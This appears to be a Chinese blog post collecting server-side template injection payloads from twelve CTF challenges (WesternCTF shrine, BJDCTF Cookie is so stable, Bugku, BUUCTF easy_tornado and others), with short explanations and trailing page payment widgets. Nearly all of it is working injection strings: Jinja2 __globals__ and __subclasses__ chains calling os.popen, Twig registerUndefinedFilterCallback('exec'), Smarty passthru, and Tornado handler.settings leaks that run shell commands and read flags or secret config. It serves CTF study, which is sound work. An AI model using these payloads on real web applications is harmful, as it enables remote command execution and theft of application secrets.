SSTI漏洞相关的CTF题目

1..[WesternCTF2018]shrine writeup

/shrine/{{url_for.__globals__}}

#current_app': <Flask 'app'>

/shrine/{{url_for.__globals__['current_app'].config}}

或者

/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

2.[BJDCTF2020]Cookie is so stable 1

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

3.Bugku CTF 每日一题 聪明的php

?a={if passthru("ls -l")}{/if}

?a={if passthru("ls /")}{/if}

?a={if passthru("vi /_5791")}{/if}

或者

?a={if passthru("more /_5791")}{/if}

4.BugKu:Simple_SSTI(SSTI模板注入)

{{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}

{{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}

{{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}

5.web buuctf [BJDCTF2020]The mystery of ip1

xff={{system('ls /')}}  xff={{system('cat /flag')}}

6.BUUCTF[护网杯 2018]easy_tornado1-write up

输入以上两个命令却找不到cookie_secert,已知Tornado提供了一些对象别名来快速访问对象。Handler指向的处理当前这个页面的RequestHandler对象,handler是RequestHandler的别名,而上面又提到RequestHandler.settings是self.application.settings的别名。所以handler.settings就等于RequestHandler.application.settings。这个self是oneself的意思,哪个对象用就是哪个对象的.application.settings。

所以用handler.settings访问RequestHandler.application.settings:

即输入:/error?msg={{handler.settings}}

7.攻防世界WEB】难度四星12分进阶题:Confusion1

request 是 Flask 框架的一个全局对象 , 表示 " 当前请求的对象( flask.request ) "

request.args.key   

args是参数,key可以是内置函数

——————

payload:

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read

8.攻防世界 shrine 详解

python沙箱逃逸的方法是 利用python对象之间的引用关系来调用被禁用的函数对象

构造payloads:   /shrine/{{url_for.__globals__['current_app'].config['FLAG']}}

9.攻防世界-easytornado

error?msg={{handler.settings}}

/file?filename=/fllllllllllllag&filehash=725fcceacec29f3e90c03def6c8e6264

10.攻防世界之Web_python_template_injection (web进阶)

命令效果为执行popen()函数内的命令。

其中:

1、__ class__ _:查看变量所属的类

2、 __ init __ :初始化类,返回function

3、 __ globals __ : 获取function所处空间下可使用的module、方法以及所有变量

4、os.popen() 从一个命令打开一个管道

11.[BJDCTF2020]Cookie is so stable

我们只要把exec() 作为回调函数传进去就能实现命令执行了

payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}

{{_self.env.getFilter("id")}}

所以payload至于要将"cat /flag" 替换"id" 即可。payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

12.[WesternCTF2018]shrine 1

{{url_for.__globals__['current_app'].config}}

{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值